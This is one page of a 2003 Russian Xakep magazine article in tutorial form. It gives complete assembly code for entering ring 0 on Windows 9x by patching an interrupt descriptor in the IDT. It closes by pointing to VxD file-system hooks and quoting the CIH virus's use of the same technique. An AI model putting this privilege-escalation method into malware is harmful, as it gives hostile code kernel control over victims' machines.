Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #35, ОКТЯБРЬ 2003 г.

Ring0

Shen (_shen_@mail.ru)

Спецвыпуск Xakep, номер #035, стр. 035-062-5


Однако, мы задержались, пора домой:

iret

Прежде чем выходить, нужно восстановить адрес старого обработчика:

mov eax,dword ptr [saved]

mov word ptr [ebx],ax

shr eax,16

mov word ptr [ebx+6],ax

А теперь можно и завершаться:

push 00h

call ExitProcess

Полный текст программы

; Ring0.asm

; компиляция:

; tasm32 /ml Ring0.asm

; tlink32 Ring0.obj,,,import32.lib

.386p ; нам понадобится привилегированная команда sidt

.model flat

extrn ExitProcess:proc

extrn MessageBoxA:proc

intnum equ 04h ; лучше перехватывать малоиспользуемые прерывания

.data

idtr df 0 ; сюда мы сохраним IDTR

saved dd 0 ; сюда мы сохраним адрес старого обработчика

capt db "Message!",0

text1 db "At Ring3 now. Boring.",0

text2 db "I've just returned from Ring0!",0

.code

start:

push 00h

push offset capt

push offset text1

push 00h

call MessageBoxA

; найдем адрес IDT и нужного нам дескриптора

sidt fword ptr [idtr] ; сохраняем IDTR в переменную idtr

mov ebx,dword ptr [idtr+2] ; нам нужен адрес начала, а не предел

add ebx,intnum*8 ; переходим на начало нужного дескриптора

; сохраним адрес оригинального обработчика

mov ax,word ptr [ebx+6] ; кладем в ax старшее слово адреса обработчика

shl eax, 16 ; сдвигаем его в старшее слово eax

mov ax,word ptr [ebx] ; кладем в ax младшее слово адреса обработчика

mov dword ptr [saved],eax ; сохраняем

; меняем адрес обработчика на адрес нашей процедуры

mov eax, offset ring0code ; кладем в ax смещение процедуры

mov word ptr [ebx],ax ; заменяем младшее слово адреса

shr eax,16 ; сдвигаем старшее слово eax в младшее

mov word ptr [ebx+6],ax ;заменяем старшее слово адреса

; уходим в Ring0

int intnum

; восстанавливаем адрес оригинального обработчика

mov eax,dword ptr [saved]

mov word ptr [ebx],ax

shr eax,16

mov word ptr [ebx+6],ax

; сообщим миру, что мы пережили это путешествие

push 00h

push offset capt

push offset text2

push 00h

call MessageBoxA

; выходим

push 00h

call ExitProcess

; в пределах этой процедуры мы имеем наивысший уровень привилегий

ring0code:

; здесь мы можем делать что угодно,

; ведь мы уже в нулевом кольце!

iret ; возвращаемся в обыденность

end start

Что дальше?

Что делать, оказавшись в нулевом кольце? Открывать Win95DDK и учиться пользоваться VxD-сервисами. Тебе наверняка понравится функция IFSMgr_InstallFileSystemApiHook :).

Скажу еще, что этот способ ухода в Ring0 не единственный, но самый простой. И именно этот метод использует небезызвестный WIN95.CIH (HookExceptionNumber – номер перехватываемого исключения, MyExceptionHook – процедура инициализации вируса на нулевом кольце):

push eax

sidt [esp-02h]

Назад на стр. 035-062-4  Содержание  Вперед на стр. 035-062-6